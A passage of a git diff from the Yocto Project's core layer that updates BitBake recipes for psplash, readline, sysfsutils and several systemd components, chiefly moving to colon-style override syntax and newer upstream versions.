-export PSPLASH_FIFO_DIR=/mnt/.psplash
[ -d $PSPLASH_FIFO_DIR ] || mkdir -p $PSPLASH_FIFO_DIR
if ! mountpoint -q $PSPLASH_FIFO_DIR; then
mount tmpfs -t tmpfs $PSPLASH_FIFO_DIR -o,size=40k
diff --git a/meta/recipes-core/psplash/psplash_git.bb b/meta/recipes-core/psplash/psplash_git.bb
index 44f0007daf..ca5a1ea8e1 100644
--- a/meta/recipes-core/psplash/psplash_git.bb
+++ b/meta/recipes-core/psplash/psplash_git.bb
@@ -6,11 +6,10 @@ LICENSE = "GPLv2+"
LIC_FILES_CHKSUM = "file://psplash.h;beginline=1;endline=8;md5=8f232c1e95929eacab37f00900580224"
DEPENDS = "gdk-pixbuf-native"
-SRCREV = "0a902f7cd875ccf018456451be369f05fa55f962"
+SRCREV = "44afb7506d43cca15582b4c5b90ba5580344d75d"
PV = "0.1+git${SRCPV}"
-PR = "r15"
-SRC_URI = "git://git.yoctoproject.org/${BPN} \
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master \
file://psplash-init \
file://psplash-start.service \
file://psplash-systemd.service \
@@ -44,7 +43,7 @@ python __anonymous() {
pkgs.append(outname)
localpaths.append(flocal)
- # Set these so that we have less work to do in do_compile and do_install_append
+ # Set these so that we have less work to do in do_compile and do_install:append
d.setVar("SPLASH_INSTALL", " ".join(pkgs))
d.setVar("SPLASH_LOCALPATHS", " ".join(localpaths))
for p in pkgs:
@@ -54,12 +53,12 @@ python __anonymous() {
for p in pkgs:
ep = '%s%s' % (mlprefix, p)
epsplash = '%s%s' % (mlprefix, 'psplash')
- d.setVar("FILES_%s" % ep, "${bindir}/%s" % p)
- d.setVar("ALTERNATIVE_%s" % ep, 'psplash')
+ d.setVar("FILES:%s" % ep, "${bindir}/%s" % p)
+ d.setVar("ALTERNATIVE:%s" % ep, 'psplash')
d.setVarFlag("ALTERNATIVE_TARGET_%s" % ep, 'psplash', '${bindir}/%s' % p)
- d.appendVar("RDEPENDS_%s" % ep, " %s" % pn)
+ d.appendVar("RDEPENDS:%s" % ep, " %s" % pn)
if p == "psplash-default":
- d.appendVar("RRECOMMENDS_%s" % pn, " %s" % ep)
+ d.appendVar("RRECOMMENDS:%s" % pn, " %s" % ep)
}
S = "${WORKDIR}/git"
@@ -98,16 +97,20 @@ python do_compile () {
shutil.copyfile("psplash", outputfile)
}
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
install -d ${D}${sysconfdir}/init.d/
install -m 0755 ${WORKDIR}/psplash-init ${D}${sysconfdir}/init.d/psplash.sh
+
+ # make fifo for psplash
+ install -d ${D}/mnt
+ mkfifo ${D}/mnt/psplash_fifo
fi
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${systemd_unitdir}/system
- install -m 644 ${WORKDIR}/psplash-start.service ${D}/${systemd_unitdir}/system
- install -m 644 ${WORKDIR}/psplash-systemd.service ${D}/${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
+ install -m 644 ${WORKDIR}/psplash-start.service ${D}/${systemd_system_unitdir}
+ install -m 644 ${WORKDIR}/psplash-systemd.service ${D}/${systemd_system_unitdir}
fi
install -d ${D}${bindir}
@@ -118,7 +121,9 @@ do_install_append() {
}
SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES','systemd','${PN}','',d)}"
-SYSTEMD_SERVICE_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'psplash-start.service psplash-systemd.service', '', d)}"
+SYSTEMD_SERVICE:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'psplash-start.service psplash-systemd.service', '', d)}"
INITSCRIPT_NAME = "psplash.sh"
INITSCRIPT_PARAMS = "start 0 S . stop 20 0 1 6 ."
+
+FILES:${PN} += "/mnt"
diff --git a/meta/recipes-core/readline/readline-8.0/configure-fix.patch b/meta/recipes-core/readline/readline-8.1/configure-fix.patch
index ef3104f8a6..ef3104f8a6 100644
--- a/meta/recipes-core/readline/readline-8.0/configure-fix.patch
+++ b/meta/recipes-core/readline/readline-8.1/configure-fix.patch
diff --git a/meta/recipes-core/readline/readline-8.0/norpath.patch b/meta/recipes-core/readline/readline-8.1/norpath.patch
index 5d71582b70..5d71582b70 100644
--- a/meta/recipes-core/readline/readline-8.0/norpath.patch
+++ b/meta/recipes-core/readline/readline-8.1/norpath.patch
diff --git a/meta/recipes-core/readline/readline-8.0/rl-native.map b/meta/recipes-core/readline/readline-8.1/rl-native.map
index 5e7d49cdd2..5e7d49cdd2 100644
--- a/meta/recipes-core/readline/readline-8.0/rl-native.map
+++ b/meta/recipes-core/readline/readline-8.1/rl-native.map
diff --git a/meta/recipes-core/readline/readline.inc b/meta/recipes-core/readline/readline.inc
index 039ffdee00..569e4ff6e9 100644
--- a/meta/recipes-core/readline/readline.inc
+++ b/meta/recipes-core/readline/readline.inc
@@ -18,16 +18,17 @@ SRC_URI += "file://inputrc"
inherit autotools texinfo
EXTRA_AUTORECONF += "--exclude=autoheader"
+EXTRA_OECONF += "bash_cv_termcap_lib=ncurses"
LEAD_SONAME = "libreadline.so"
-do_configure_prepend () {
+do_configure:prepend () {
if [ ! -e ${S}/acinclude.m4 ]; then
cat ${S}/aclocal.m4 > ${S}/acinclude.m4
fi
}
-do_install_append () {
+do_install:append () {
# Make install doesn't properly install these
oe_libinstall -so -C shlib libhistory ${D}${libdir}
oe_libinstall -so -C shlib libreadline ${D}${libdir}
@@ -42,15 +43,15 @@ do_install_append () {
BBCLASSEXTEND = "native nativesdk"
-CONFFILES_${PN} += "${sysconfdir}/inputrc"
+CONFFILES:${PN} += "${sysconfdir}/inputrc"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}-doc = "history.3"
+ALTERNATIVE:${PN}-doc = "history.3"
ALTERNATIVE_LINK_NAME[history.3] = "${mandir}/man3/history.3"
# OpenSuse injects versions into libreadline leading to conficits between our native one and theirs
# see their spec file for where this is injected. Extra versioning is harmless so we just do the same.
-SRC_URI_append_class-native = " file://rl-native.map"
-LDFLAGS_append_class-native = " -Wl,--version-script=${WORKDIR}/rl-native.map"
+SRC_URI:append:class-native = " file://rl-native.map"
+LDFLAGS:append:class-native = " -Wl,--version-script=${WORKDIR}/rl-native.map"
diff --git a/meta/recipes-core/readline/readline_8.0.bb b/meta/recipes-core/readline/readline_8.0.bb
deleted file mode 100644
index 99d022a32f..0000000000
--- a/meta/recipes-core/readline/readline_8.0.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require readline.inc
-
-SRC_URI += "file://configure-fix.patch \
- file://norpath.patch"
-
-SRC_URI[archive.md5sum] = "7e6c1f16aee3244a69aba6e438295ca3"
-SRC_URI[archive.sha256sum] = "e339f51971478d369f8a053a330a190781acb9864cf4c541060f12078948e461"
diff --git a/meta/recipes-core/readline/readline_8.1.bb b/meta/recipes-core/readline/readline_8.1.bb
new file mode 100644
index 0000000000..0786a08163
--- /dev/null
+++ b/meta/recipes-core/readline/readline_8.1.bb
@@ -0,0 +1,7 @@
+require readline.inc
+
+SRC_URI += "file://configure-fix.patch \
+ file://norpath.patch"
+
+SRC_URI[archive.md5sum] = "e9557dd5b1409f5d7b37ef717c64518e"
+SRC_URI[archive.sha256sum] = "f8ceb4ee131e3232226a17f51b164afc46cd0b9e6cef344be87c65962cb82b02"
diff --git a/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb b/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb
index 34bf431f40..72f8069e61 100644
--- a/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb
+++ b/meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb
@@ -3,8 +3,8 @@ DESCRIPTION = "Tools for working with the sysfs virtual filesystem. The tool 's
HOMEPAGE = "http://linux-diag.sourceforge.net/Sysfsutils.html"
LICENSE = "GPLv2 & LGPLv2.1"
-LICENSE_${PN} = "GPLv2"
-LICENSE_libsysfs = "LGPLv2.1"
+LICENSE:${PN} = "GPLv2"
+LICENSE:libsysfs = "LGPLv2.1"
LIC_FILES_CHKSUM = "file://COPYING;md5=3d06403ea54c7574a9e581c6478cc393 \
file://cmd/GPL;md5=d41d4e2e1e108554e0388ea4aecd8d27 \
file://lib/LGPL;md5=b75d069791103ffe1c0d6435deeff72e"
@@ -26,6 +26,6 @@ S = "${WORKDIR}/sysfsutils-${PV}"
inherit autotools
PACKAGES =+ "libsysfs"
-FILES_libsysfs = "${libdir}/lib*${SOLIBS}"
+FILES:libsysfs = "${libdir}/lib*${SOLIBS}"
export libdir = "${base_libdir}"
diff --git a/meta/recipes-core/systemd/systemd-boot_246.6.bb b/meta/recipes-core/systemd/systemd-boot_246.6.bb
deleted file mode 100644
index f92c639810..0000000000
--- a/meta/recipes-core/systemd/systemd-boot_246.6.bb
+++ /dev/null
@@ -1,70 +0,0 @@
-require systemd.inc
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/systemd:"
-
-require conf/image-uefi.conf
-
-DEPENDS = "intltool-native libcap util-linux gnu-efi gperf-native"
-
-inherit meson pkgconfig gettext
-inherit deploy
-
-LDFLAGS_prepend = "${@ " ".join(d.getVar('LD').split()[1:])} "
-
-do_write_config[vardeps] += "CC OBJCOPY"
-do_write_config_append() {
- cat >${WORKDIR}/meson-${PN}.cross <<EOF
-[binaries]
-efi_cc = ${@meson_array('CC', d)}
-objcopy = ${@meson_array('OBJCOPY', d)}
-EOF
-}
-
-EXTRA_OEMESON += "-Defi=true \
- -Dgnu-efi=true \
- -Defi-includedir=${STAGING_INCDIR}/efi \
- -Defi-libdir=${STAGING_LIBDIR} \
- -Defi-ld=${@ d.getVar('LD').split()[0]} \
- -Dman=false \
- --cross-file ${WORKDIR}/meson-${PN}.cross \
- "
-
-# install to the image as boot*.efi if its the EFI_PROVIDER,
-# otherwise install as the full name.
-# This allows multiple bootloaders to coexist in a single image.
-python __anonymous () {
- import re
- target = d.getVar('TARGET_ARCH')
- prefix = "" if d.getVar('EFI_PROVIDER') == "systemd-boot" else "systemd-"
- systemdimage = prefix + d.getVar("EFI_BOOT_IMAGE")
- d.setVar("SYSTEMD_BOOT_IMAGE", systemdimage)
- prefix = "systemd-" if prefix == "" else ""
- d.setVar("SYSTEMD_BOOT_IMAGE_PREFIX", prefix)
-}
-
-FILES_${PN} = "${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}"
-
-RDEPENDS_${PN} += "virtual/systemd-bootconf"
-
-# Imported from the old gummiboot recipe
-TUNE_CCARGS_remove = "-mfpmath=sse"
-COMPATIBLE_HOST = "(x86_64.*|i.86.*)-linux"
-COMPATIBLE_HOST_x86-x32 = "null"
-
-do_compile() {
- SYSTEMD_BOOT_EFI_ARCH="ia32"
- if [ "${TARGET_ARCH}" = "x86_64" ]; then
- SYSTEMD_BOOT_EFI_ARCH="x64"
- fi
-
- ninja src/boot/efi/${SYSTEMD_BOOT_IMAGE_PREFIX}${SYSTEMD_BOOT_IMAGE}
-}
-
-do_install() {
- install -d ${D}${EFI_FILES_PATH}
- install ${B}/src/boot/efi/systemd-boot*.efi ${D}${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}
-}
-
-do_deploy () {
- install ${B}/src/boot/efi/systemd-boot*.efi ${DEPLOYDIR}
-}
-addtask deploy before do_build after do_compile
diff --git a/meta/recipes-core/systemd/systemd-boot_249.7.bb b/meta/recipes-core/systemd/systemd-boot_249.7.bb
new file mode 100644
index 0000000000..b3d4e31e08
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd-boot_249.7.bb
@@ -0,0 +1,74 @@
+require systemd.inc
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/systemd:"
+
+require conf/image-uefi.conf
+
+DEPENDS = "intltool-native libcap util-linux gnu-efi gperf-native python3-jinja2-native"
+
+inherit meson pkgconfig gettext
+inherit deploy
+
+LDFLAGS:prepend = "${@ " ".join(d.getVar('LD').split()[1:])} "
+
+do_write_config[vardeps] += "CC OBJCOPY"
+do_write_config:append() {
+ cat >${WORKDIR}/meson-${PN}.cross <<EOF
+[binaries]
+efi_cc = ${@meson_array('CC', d)}
+objcopy = ${@meson_array('OBJCOPY', d)}
+EOF
+}
+
+# need to use ${HOST_PREFIX} here, otherwise ld.bfd could be used from HOSTTOOLS_NONFATAL
+EFI_LD = "${HOST_PREFIX}ld.bfd"
+
+EXTRA_OEMESON += "-Defi=true \
+ -Dgnu-efi=true \
+ -Defi-includedir=${STAGING_INCDIR}/efi \
+ -Defi-libdir=${STAGING_LIBDIR} \
+ -Defi-ld=${EFI_LD} \
+ -Dman=false \
+ --cross-file ${WORKDIR}/meson-${PN}.cross \
+ "
+
+# install to the image as boot*.efi if its the EFI_PROVIDER,
+# otherwise install as the full name.
+# This allows multiple bootloaders to coexist in a single image.
+python __anonymous () {
+ import re
+ target = d.getVar('TARGET_ARCH')
+ prefix = "" if d.getVar('EFI_PROVIDER') == "systemd-boot" else "systemd-"
+ systemdimage = prefix + d.getVar("EFI_BOOT_IMAGE")
+ d.setVar("SYSTEMD_BOOT_IMAGE", systemdimage)
+ prefix = "systemd-" if prefix == "" else ""
+ d.setVar("SYSTEMD_BOOT_IMAGE_PREFIX", prefix)
+}
+
+FILES:${PN} = "${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}"
+
+RDEPENDS:${PN} += "virtual-systemd-bootconf"
+
+# Imported from the old gummiboot recipe
+TUNE_CCARGS:remove = "-mfpmath=sse"
+
+COMPATIBLE_HOST = "(aarch64.*|arm.*|x86_64.*|i.86.*)-linux"
+COMPATIBLE_HOST:x86-x32 = "null"
+
+do_compile() {
+ ninja \
+ src/boot/efi/${SYSTEMD_BOOT_IMAGE_PREFIX}${SYSTEMD_BOOT_IMAGE} \
+ src/boot/efi/linux${EFI_ARCH}.efi.stub
+}
+
+do_install() {
+ install -d ${D}${EFI_FILES_PATH}
+ install ${B}/src/boot/efi/systemd-boot*.efi ${D}${EFI_FILES_PATH}/${SYSTEMD_BOOT_IMAGE}
+}
+
+do_deploy () {
+ install ${B}/src/boot/efi/systemd-boot*.efi ${DEPLOYDIR}
+ install ${B}/src/boot/efi/linux*.efi.stub ${DEPLOYDIR}
+}
+
+addtask deploy before do_build after do_compile
+
diff --git a/meta/recipes-core/systemd/systemd-bootconf_1.00.bb b/meta/recipes-core/systemd/systemd-bootconf_1.00.bb
index d13b8c518f..19637546a9 100644
--- a/meta/recipes-core/systemd/systemd-bootconf_1.00.bb
+++ b/meta/recipes-core/systemd/systemd-bootconf_1.00.bb
@@ -2,7 +2,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SUMMARY = "Basic systemd-boot configuration files"
-RPROVIDES_${PN} += "virtual/systemd-bootconf"
+RPROVIDES:${PN} += "virtual-systemd-bootconf"
PACKAGE_ARCH = "${MACHINE_ARCH}"
inherit systemd-boot-cfg
@@ -12,7 +12,7 @@ S = "${WORKDIR}"
LABELS = "boot"
ROOT ?= "root=/dev/sda2"
-APPEND_append = " ${ROOT}"
+APPEND:append = " ${ROOT}"
python do_configure() {
bb.build.exec_func('build_efi_cfg', d)
@@ -29,4 +29,4 @@ do_install() {
install *.conf ${D}/boot/loader/entries/
}
-FILES_${PN} = "/boot/loader/* /boot/loader/entries/*"
+FILES:${PN} = "/boot/loader/* /boot/loader/entries/*"
diff --git a/meta/recipes-core/systemd/systemd-compat-units.bb b/meta/recipes-core/systemd/systemd-compat-units.bb
index 361dc1cbb4..55ebf99117 100644
--- a/meta/recipes-core/systemd/systemd-compat-units.bb
+++ b/meta/recipes-core/systemd/systemd-compat-units.bb
@@ -12,7 +12,7 @@ inherit features_check
INHIBIT_DEFAULT_DEPS = "1"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
REQUIRED_DISTRO_FEATURES = "systemd"
@@ -25,7 +25,7 @@ SYSTEMD_DISABLED_SYSV_SERVICES = " \
syslog.busybox \
"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
cd $D${sysconfdir}/init.d || exit 0
@@ -38,7 +38,7 @@ pkg_postinst_${PN} () {
fi
for i in ${SYSTEMD_DISABLED_SYSV_SERVICES} ; do
- if [ -e $i -o -e $i.sh ] && ! [ -e $D${sysconfdir}/systemd/system/$i.service -o -e $D${systemd_unitdir}/system/$i.service ] ; then
+ if [ -e $i -o -e $i.sh ] && ! [ -e $D${sysconfdir}/systemd/system/$i.service -o -e $D${systemd_system_unitdir}/$i.service ] ; then
echo -n "$i: "
systemctl $OPTS mask $i.service
fi
@@ -46,4 +46,4 @@ pkg_postinst_${PN} () {
echo
}
-RDEPENDS_${PN} = "systemd"
+RDEPENDS:${PN} = "systemd"
diff --git a/meta/recipes-core/systemd/systemd-conf/wired.network b/meta/recipes-core/systemd/systemd-conf/wired.network
index dcf3534596..7406287248 100644
--- a/meta/recipes-core/systemd/systemd-conf/wired.network
+++ b/meta/recipes-core/systemd/systemd-conf/wired.network
@@ -1,6 +1,8 @@
[Match]
-Name=en* eth*
+Type=ether
+Name=!veth*
KernelCommandLine=!nfsroot
+KernelCommandLine=!ip
[Network]
DHCP=yes
diff --git a/meta/recipes-core/systemd/systemd-conf_1.0.bb b/meta/recipes-core/systemd/systemd-conf_1.0.bb
new file mode 100644
index 0000000000..61ce7939d3
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd-conf_1.0.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Systemd system configuration"
+DESCRIPTION = "Systemd may require slightly different configuration for \
+different machines. For example, qemu machines require a longer \
+DefaultTimeoutStartSec setting."
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
+
+PE = "1"
+
+PACKAGECONFIG ??= "dhcp-ethernet"
+PACKAGECONFIG[dhcp-ethernet] = ""
+
+SRC_URI = "\
+ file://journald.conf \
+ file://logind.conf \
+ file://system.conf \
+ file://system.conf-qemuall \
+ file://wired.network \
+"
+
+do_install() {
+ install -D -m0644 ${WORKDIR}/journald.conf ${D}${systemd_unitdir}/journald.conf.d/00-${PN}.conf
+ install -D -m0644 ${WORKDIR}/logind.conf ${D}${systemd_unitdir}/logind.conf.d/00-${PN}.conf
+ install -D -m0644 ${WORKDIR}/system.conf ${D}${systemd_unitdir}/system.conf.d/00-${PN}.conf
+
+ if ${@bb.utils.contains('PACKAGECONFIG', 'dhcp-ethernet', 'true', 'false', d)}; then
+ install -D -m0644 ${WORKDIR}/wired.network ${D}${systemd_unitdir}/network/80-wired.network
+ fi
+}
+
+# Based on change from YP bug 8141, OE commit 5196d7bacaef1076c361adaa2867be31759c1b52
+do_install:append:qemuall() {
+ install -D -m0644 ${WORKDIR}/system.conf-qemuall ${D}${systemd_unitdir}/system.conf.d/01-${PN}.conf
+}
+
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+
+FILES:${PN} = "\
+ ${systemd_unitdir}/journald.conf.d/ \
+ ${systemd_unitdir}/logind.conf.d/ \
+ ${systemd_unitdir}/system.conf.d/ \
+ ${systemd_unitdir}/network/ \
+"
diff --git a/meta/recipes-core/systemd/systemd-conf_246.1.bb b/meta/recipes-core/systemd/systemd-conf_246.1.bb
deleted file mode 100644
index d9ec023bfd..0000000000
--- a/meta/recipes-core/systemd/systemd-conf_246.1.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Systemd system configuration"
-DESCRIPTION = "Systemd may require slightly different configuration for \
-different machines. For example, qemu machines require a longer \
-DefaultTimeoutStartSec setting."
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-
-SRC_URI = "\
- file://journald.conf \
- file://logind.conf \
- file://system.conf \
- file://system.conf-qemuall \
- file://wired.network \
-"
-
-do_install() {
- install -D -m0644 ${WORKDIR}/journald.conf ${D}${systemd_unitdir}/journald.conf.d/00-${PN}.conf
- install -D -m0644 ${WORKDIR}/logind.conf ${D}${systemd_unitdir}/logind.conf.d/00-${PN}.conf
- install -D -m0644 ${WORKDIR}/system.conf ${D}${systemd_unitdir}/system.conf.d/00-${PN}.conf
- install -D -m0644 ${WORKDIR}/wired.network ${D}${systemd_unitdir}/network/80-wired.network
-}
-
-# Based on change from YP bug 8141, OE commit 5196d7bacaef1076c361adaa2867be31759c1b52
-do_install_append_qemuall() {
- install -D -m0644 ${WORKDIR}/system.conf-qemuall ${D}${systemd_unitdir}/system.conf.d/01-${PN}.conf
-
- # Do not install wired.network for qemu bsps
- rm -rf ${D}${systemd_unitdir}/network
-}
-
-PACKAGE_ARCH = "${MACHINE_ARCH}"
-
-FILES_${PN} = "\
- ${systemd_unitdir}/journald.conf.d/ \
- ${systemd_unitdir}/logind.conf.d/ \
- ${systemd_unitdir}/system.conf.d/ \
- ${systemd_unitdir}/network/ \
-"
diff --git a/meta/recipes-core/systemd/systemd-machine-units_1.0.bb b/meta/recipes-core/systemd/systemd-machine-units_1.0.bb
index 02756f43d7..12f27d6ae3 100644
--- a/meta/recipes-core/systemd/systemd-machine-units_1.0.bb
+++ b/meta/recipes-core/systemd/systemd-machine-units_1.0.bb
@@ -8,6 +8,6 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
PR = "r19"
inherit systemd
-SYSTEMD_SERVICE_${PN} = ""
+SYSTEMD_SERVICE:${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-core/systemd/systemd-serialgetty.bb b/meta/recipes-core/systemd/systemd-serialgetty.bb
index d142b30f7e..7ca951cdbd 100644
--- a/meta/recipes-core/systemd/systemd-serialgetty.bb
+++ b/meta/recipes-core/systemd/systemd-serialgetty.bb
@@ -1,7 +1,7 @@
SUMMARY = "Serial terminal support for systemd"
HOMEPAGE = "https://www.freedesktop.org/wiki/Software/systemd/"
LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
PR = "r5"
@@ -19,11 +19,11 @@ REQUIRED_DISTRO_FEATURES = "systemd"
do_install() {
if [ ! -z "${SERIAL_CONSOLES}" ] ; then
default_baudrate=`echo "${SERIAL_CONSOLES}" | sed 's/\;.*//'`
- install -d ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}/
install -d ${D}${sysconfdir}/systemd/system/getty.target.wants/
- install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_unitdir}/system/
- sed -i -e "s/\@BAUDRATE\@/$default_baudrate/g" ${D}${systemd_unitdir}/system/serial-getty@.service
- sed -i -e "s/\@TERM\@/${SERIAL_TERM}/g" ${D}${systemd_unitdir}/system/serial-getty@.service
+ install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_system_unitdir}/
+ sed -i -e "s/\@BAUDRATE\@/$default_baudrate/g" ${D}${systemd_system_unitdir}/serial-getty@.service
+ sed -i -e "s/\@TERM\@/${SERIAL_TERM}/g" ${D}${systemd_system_unitdir}/serial-getty@.service
tmp="${SERIAL_CONSOLES}"
for entry in $tmp ; do
@@ -31,14 +31,14 @@ do_install() {
ttydev=`echo $entry | sed -e 's/^[0-9]*\;//' -e 's/\;.*//'`
if [ "$baudrate" = "$default_baudrate" ] ; then
# enable the service
- ln -sf ${systemd_unitdir}/system/serial-getty@.service \
+ ln -sf ${systemd_system_unitdir}/serial-getty@.service \
${D}${sysconfdir}/systemd/system/getty.target.wants/serial-getty@$ttydev.service
else
# install custom service file for the non-default baudrate
- install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_unitdir}/system/serial-getty$baudrate@.service
- sed -i -e "s/\@BAUDRATE\@/$baudrate/g" ${D}${systemd_unitdir}/system/serial-getty$baudrate@.service
+ install -m 0644 ${WORKDIR}/serial-getty@.service ${D}${systemd_system_unitdir}/serial-getty$baudrate@.service
+ sed -i -e "s/\@BAUDRATE\@/$baudrate/g" ${D}${systemd_system_unitdir}/serial-getty$baudrate@.service
# enable the service
- ln -sf ${systemd_unitdir}/system/serial-getty$baudrate@.service \
+ ln -sf ${systemd_system_unitdir}/serial-getty$baudrate@.service \
${D}${sysconfdir}/systemd/system/getty.target.wants/serial-getty$baudrate@$ttydev.service
fi
done
@@ -46,7 +46,7 @@ do_install() {
}
# This is a machine specific file
-FILES_${PN} = "${systemd_unitdir}/system/*.service ${sysconfdir}"
+FILES:${PN} = "${systemd_system_unitdir}/*.service ${sysconfdir}"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-core/systemd/systemd-systemctl/systemctl b/meta/recipes-core/systemd/systemd-systemctl/systemctl
index 990de1ab39..6324319a45 100755
--- a/meta/recipes-core/systemd/systemd-systemctl/systemctl
+++ b/meta/recipes-core/systemd/systemd-systemctl/systemctl
@@ -160,7 +160,9 @@ def add_link(path, target):
class SystemdUnitNotFoundError(Exception):
- pass
+ def __init__(self, path, unit):
+ self.path = path
+ self.unit = unit
class SystemdUnit():
@@ -189,7 +191,7 @@ class SystemdUnit():
except KeyError:
pass
- def enable(self):
+ def enable(self, caller_unit=None):
# if we're enabling an instance, first extract the actual instance
# then figure out what the template unit is
template = re.match(r"[^@]+@(?P<instance>[^\.]*)\.", self.unit)
@@ -224,7 +226,11 @@ class SystemdUnit():
try:
for also in config.get('Install', 'Also'):
- SystemdUnit(self.root, also).enable()
+ try:
+ if caller_unit != also:
+ SystemdUnit(self.root, also).enable(unit)
+ except SystemdUnitNotFoundError as e:
+ sys.exit("Error: Systemctl also enable issue with %s (%s)" % (service, e.unit))
except KeyError:
pass
@@ -265,7 +271,10 @@ def preset_all(root):
state = presets.state(service)
if state == "enable" or state is None:
- SystemdUnit(root, service).enable()
+ try:
+ SystemdUnit(root, service).enable()
+ except SystemdUnitNotFoundError:
+ sys.exit("Error: Systemctl preset_all issue in %s" % service)
# If we populate the systemd links we also create /etc/machine-id, which
# allows systemd to boot with the filesystem read-only before generating
@@ -282,7 +291,7 @@ def main():
sys.exit("Python 3.4 or greater is required")
parser = argparse.ArgumentParser()
- parser.add_argument('command', nargs=1, choices=['enable', 'mask',
+ parser.add_argument('command', nargs='?', choices=['enable', 'mask',
'preset-all'])
parser.add_argument('service', nargs=argparse.REMAINDER)
parser.add_argument('--root')
@@ -300,13 +309,23 @@ def main():
locations.append(BASE_LIBDIR / "systemd")
locations.append(LIBDIR / "systemd")
- command = args.command[0]
+ command = args.command
+ if not command:
+ parser.print_help()
+ return 0
+
if command == "mask":
for service in args.service:
- SystemdUnit(root, service).mask()
+ try:
+ SystemdUnit(root, service).mask()
+ except SystemdUnitNotFoundError as e:
+ sys.exit("Error: Systemctl main mask issue in %s (%s)" % (service, e.unit))
elif command == "enable":
for service in args.service:
- SystemdUnit(root, service).enable()
+ try:
+ SystemdUnit(root, service).enable()
+ except SystemdUnitNotFoundError as e:
+ sys.exit("Error: Systemctl main enable issue in %s (%s)" % (service, e.unit))
elif command == "preset-all":
if len(args.service) != 0:
sys.exit("Too many arguments.")
diff --git a/meta/recipes-core/systemd/systemd.inc b/meta/recipes-core/systemd/systemd.inc
index 1733565fc0..b77f847abd 100644
--- a/meta/recipes-core/systemd/systemd.inc
+++ b/meta/recipes-core/systemd/systemd.inc
@@ -14,8 +14,9 @@ LICENSE = "GPLv2 & LGPLv2.1"
LIC_FILES_CHKSUM = "file://LICENSE.GPL2;md5=751419260aa954499f7abaabaa882bbe \
file://LICENSE.LGPL2.1;md5=4fbd65380cdd255951079008b364516c"
-SRCREV = "2ee1c57c4ff4fd3349cf03c2e89fbd18ca0b3a4a"
-SRCBRANCH = "v246-stable"
-SRC_URI = "git://github.com/systemd/systemd-stable.git;protocol=git;branch=${SRCBRANCH}"
+SRCREV = "d4406e94a32d423d8a73deb7757fb09890afe2c4"
+SRCBRANCH = "v249-stable"
+SRC_URI = "git://github.com/systemd/systemd-stable.git;protocol=https;branch=${SRCBRANCH} \
+"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf b/meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf
new file mode 100644
index 0000000000..6b224ba9b9
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf
@@ -0,0 +1,6 @@
+[Service]
+# By running with these options instead of root, networkd is allowed to request
+# a hostname change via DBUS when policykit is not present
+User=systemd-network
+Group=systemd-hostname
+AmbientCapabilities=CAP_SYS_ADMIN
diff --git a/meta/recipes-core/systemd/systemd/0001-Handle-missing-gshadow.patch b/meta/recipes-core/systemd/systemd/0001-Handle-missing-gshadow.patch
deleted file mode 100644
index c5960a0d60..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-Handle-missing-gshadow.patch
+++ /dev/null
@@ -1,162 +0,0 @@
-From ef9580ea1e2f1e57af3c7dcb0ec392ba8dbb5c8d Mon Sep 17 00:00:00 2001
-From: Alex Kiernan <alex.kiernan@gmail.com>
-Date: Tue, 10 Mar 2020 11:05:20 +0000
-Subject: [PATCH] Handle missing gshadow
-
-gshadow usage is now present in the userdb code. Mask all uses of it to
-allow compilation on musl
-
-Upstream-Status: Inappropriate [musl specific]
